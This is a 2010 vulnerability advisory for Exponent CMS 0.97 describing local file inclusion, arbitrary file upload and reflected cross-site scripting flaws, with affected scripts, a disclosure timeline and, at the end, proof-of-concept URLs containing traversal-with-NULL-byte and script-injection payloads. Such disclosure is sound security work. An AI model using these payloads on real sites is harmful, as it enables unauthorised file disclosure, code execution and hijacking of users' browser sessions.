Exponent CMS v0.97 Multiple Vulnerabilities
Vendor:OIC Group Inc.
Product web page: http://www.exponentcms.org
Affected version:0.97
Summary: Open Source Content Management System (PHP+MySQL).
Desc: Exponent CMS suffers from multiple vulnerabilities:#1. Local File Inclusion / File Disclosure Vulnerability#2. Arbitrary File Upload / File Modify Vulnerability#3. Reflected Cross-Site Scripting Vulnerability(1) LFI/FD occurs when input passed thru the params:-"action"-"expid"-"ajax_action"-"printerfriendly"-"section"-"module"-"controller"-"int"-"src"-"template"-"page"-"_common"
to the scripts:-"index.php"-"login_redirect.php"-"mod_preview.php"-"podcast.php"-"popup.php"-"rss.php"isnot properly verified before being used to include files.
This can be exploited to include files from local resources
with directory traversal attacks and URL encoded NULL bytes.(2) AFU/E occurs due to an error in:-"upload_fileuploadcontrol.php"-"upload_standalone.php"-"manifest.php"-"delete.php"-"edit.php"-"manage.php"-"rank_switch.php"-"save.php"-"view.php"-"class.php"-"deps.php"-"delete_form.php"-"delete_process.php"-"search.php"-"send_feedback.php"-"viewday.php"-"viewmonth.php"-"viewweek.php"-"testbot.php"-"activate_bot.php"-"deactivate_bot.php"-"manage_bots.php"-"run_bot.php"-"class.php"-"delete_board.php"-"delete_post.php"-"edit_board.php"-"edit_post.php"-"edit_rank.php"-"monitor_all_boards.php"-"monitor_board.php"-"monitor_thread.php"-"preview_post.php"-"save_board.php"-"save_post.php"-"save_rank.php"-"view_admin.php"-"view_board.php"-"view_rank.php"-"view_thread.php"-"banner_click.php"-"ad_delete.php"-"ad_edit.php"-"ad_save.php"-"af_delete.php"-"af_edit.php"-"af_save.php"-"delete_article.php"-"edit_article.php"-"save_article.php"-"save_submission.php"-"submit_article.php"-"view_article.php"-"view_submissions.php"-"coretasks.php"-"htmlarea_tasks.php"-"search_tasks.php"-"clear_smarty_cache.php"-"configuresite.php"-"config_activate.php"-"config_configuresite.php"-"config_delete.php"-"config_save.php"-"examplecontent.php"-"finish_install_extension.php"-"gmgr_delete.php"-"gmgr_editprofile.php"-"gmgr_membership.php"-"gmgr_savegroup.php"-"gmgr_savemembers.php"as it allows uploads of files with multiple extensions to a
folder inside the web root. This can be exploited to execute
arbitrary PHP code by uploading a specially crafted PHP script.
The uploaded files are stored in:[CMS_ROOT_HOST]\files
(3) XSS occurs when input passed to the params:-"u"-"expid"-"ajax_action"-"ss"-"sm"-"url"-"rss_url"-"lang"-"toolbar"-"section"-"section_name"-"src"in scripts:-"slideshow.js.php"-"picked_source.php"-"magpie_debug.php"-"magpie_simple.php"-"magpie_slashbox.php"-"test.php"-"fcktoolbarconfig.js.php"-"section_linked.php"-"index.php"isnot properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script
code in a user's browser session in context of an affected site.
Tested on: Microsoft Windows XP Professional SP3 (English)
Apache 2.2.14(Win32)
MySQL 5.1.41
PHP 5.3.1
Vendor status:[09.10.2010] Vulnerabilities discovered.[10.10.2010] Vendor contacted.[13.10.2010] No reply from vendor.[14.10.2010] Public advisory released.
Advisory ID: ZSL-2010-4969
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4969.php
Vulnerabilities discovered by: Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - http://www.zeroscience.mk
Proofs of Concept:(1) LFI/FD - http://exponent_site/index.php?action=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00&expid=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00&ajax_action=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00&printerfriendly=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00§ion=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00&module=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00&controller=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00...(2) AFU/E - http://exponent_site/modules/cermi/actions/upload_fileuploadcontrol.php?action=[FILE]&expid=[FILE]&ajax_action=[FILE]...(3) XSS - http://exponent_site/external/magpierss/scripts/magpie_slashbox.php?rss_url=3141%3cscript%3ealert("zsl_xss")%3c%2fscript%3e
...
